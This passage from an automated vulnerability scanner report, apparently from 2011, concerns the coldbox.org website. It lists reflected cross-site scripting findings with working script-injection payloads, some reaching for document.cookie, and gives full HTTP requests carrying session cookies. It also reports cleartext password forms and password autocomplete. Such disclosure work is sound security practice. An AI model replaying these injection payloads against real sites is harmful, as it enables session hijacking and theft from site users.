Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74c50"><script>alert(1)</script>0616744ef3a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/74c50"><script>alert(1)</script>0616744ef3a/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:24 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10743

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//user/74c50"><script>alert(1)</script>0616744ef3a/script>
...[SNIP]...

1.15. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a62c2<script>alert(1)</script>24f51b448c7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9aa62c2<script>alert(1)</script>24f51b448c7 HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:30 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10791

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
</script>e1d86e93b9aa62c2<script>alert(1)</script>24f51b448c7" />
...[SNIP]...

1.16. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3bd76(a)d1578616a8b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/3bd76(a)d1578616a8b HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:27 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10751

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
</3bd76(a)d1578616a8b" />
...[SNIP]...

1.17. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0739"><script>alert(1)</script>45f2ef45803 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /userb0739"><script>alert(1)</script>45f2ef45803/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:42 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//userb0739"><script>alert(1)</script>45f2ef45803/registration9a9c0">
...[SNIP]...

1.18. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cc22"><script>alert(1)</script>fd0b80bdb66 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/1cc22"><script>alert(1)</script>fd0b80bdb66/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:43 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10743

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<input type="hidden" name="refRoute" value="http://www.coldbox.org//user/1cc22"><script>alert(1)</script>fd0b80bdb66/script>
...[SNIP]...

1.19. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1cb21(a)4abae6d4dec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C1cb21(a)4abae6d4dec/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:43 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10771

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
<1cb21(a)4abae6d4dec/script>
...[SNIP]...

1.20. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 31890<script>alert(1)</script>4892ef7bded was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a31890<script>alert(1)</script>4892ef7bded HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:48 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10793

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
</script>e1d86e93b9a31890<script>alert(1)</script>4892ef7bded" />
...[SNIP]...

1.21. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 16409(a)331f047b580 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/16409(a)331f047b580 HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:45 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10753

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<meta http
...[SNIP]...
</16409(a)331f047b580" />
...[SNIP]...

2. Cleartext submission of password previous next
There are 6 instances of this issue:

/download
/user/registration
/user/registration
/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.coldbox.org/download previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/download

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coldbox.org/user/doLogin

The form contains the following password field:

password

Request

GET /download HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://coldbox.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmb=4587041; __utmc=4587041

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:40 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 30195

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
<div id="loginMini">
   <form action="http://www.coldbox.org/user/doLogin" method="post" name="loginForm" id="loginForm">
       <input type="hidden" name="refRoute" value="http://www.coldbox.org//download" />
...[SNIP]...
<td>
           <input class="input" type="password" size="15" name="password"/>
           </td>
...[SNIP]...

2.2. http://www.coldbox.org/user/registration previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coldbox.org/user/doLogin

The form contains the following password field:

password

Request

GET /user/registration HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
Referer: http://www.coldbox.org/download
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:46 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 15750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
<div id="loginMini">
   <form action="http://www.coldbox.org/user/doLogin" method="post" name="loginForm" id="loginForm">
       <input type="hidden" name="refRoute" value="http://www.coldbox.org//user/registration" />
...[SNIP]...
<td>
           <input class="input" type="password" size="15" name="password"/>
           </td>
...[SNIP]...

2.3. http://www.coldbox.org/user/registration previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coldbox.org/user/doRegistration

The form contains the following password fields:

password
c_password

Request

Response

HTTP/1.1 200 OK
Date: Wed, 31 Aug 2011 22:44:46 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 15750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
</p>

<form name="registerForm" id="registerForm" method="post" action="http://www.coldbox.org/user/doRegistration">

   <fieldset name="personal details">
...[SNIP]...
</label>
       <input type="password" name="password" id="password" value="" required="true" dName="Password" size="30">
       <label for="password">
...[SNIP]...
</label>
       <input type="password" name="c_password" id="c_password" value="" required="true" dName="Confirm Password" size="30" equal="password">

   </fieldset>
...[SNIP]...

2.4. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coldbox.org/user/doLogin

The form contains the following password field:

password

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:49:59 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10740

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
<div id="loginMini">
   <form action="http://www.coldbox.org/user/doLogin" method="post" name="loginForm" id="loginForm">
       <input type="hidden" name="refRoute" value="http://www.coldbox.org//user/registration9a9c0">
...[SNIP]...
<td>
           <input class="input" type="password" size="15" name="password"/>
           </td>
...[SNIP]...

2.5. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coldbox.org/user/doLogin

The form contains the following password field:

password

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:17 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
<div id="loginMini">
   <form action="http://www.coldbox.org/user/doLogin" method="post" name="loginForm" id="loginForm">
       <input type="hidden" name="refRoute" value="http://www.coldbox.org//user/registration9a9c0">
...[SNIP]...
<td>
           <input class="input" type="password" size="15" name="password"/>
           </td>
...[SNIP]...

2.6. http://www.coldbox.org/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.coldbox.org
Path:	/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.coldbox.org/user/doLogin

The form contains the following password field:

password

Request

GET /user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a HTTP/1.1
Host: www.coldbox.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=4587041.1314798131.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); CFID=463910; CFTOKEN=926badce727ab15b-40BB2514-F55F-48F3-D505182831D1ACFA; __utma=4587041.1536497295.1314798131.1314798131.1314830684.2; __utmc=4587041; JSESSIONID=84307cdbd0ab1442f9141e60501e7c77617b; __utmb=4587041

Response

HTTP/1.1 404 Page Not Found
Date: Wed, 31 Aug 2011 22:50:29 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 10752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>


   <meta http
...[SNIP]...
<div id="loginMini">
   <form action="http://www.coldbox.org/user/doLogin" method="post" name="loginForm" id="loginForm">
       <input type="hidden" name="refRoute" value="http://www.coldbox.org//user/registration9a9c0">
...[SNIP]...
<td>
           <input class="input" type="password" size="15" name="password"/>
           </td>
...[SNIP]...

3. Password field with autocomplete enabled previous next
There are 6 instances of this issue:

/download
/user/registration
/user/registration
/user/registration9a9c0%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee1d86e93b9a
/user/registration9a9c0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ee1d86e93b9a

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

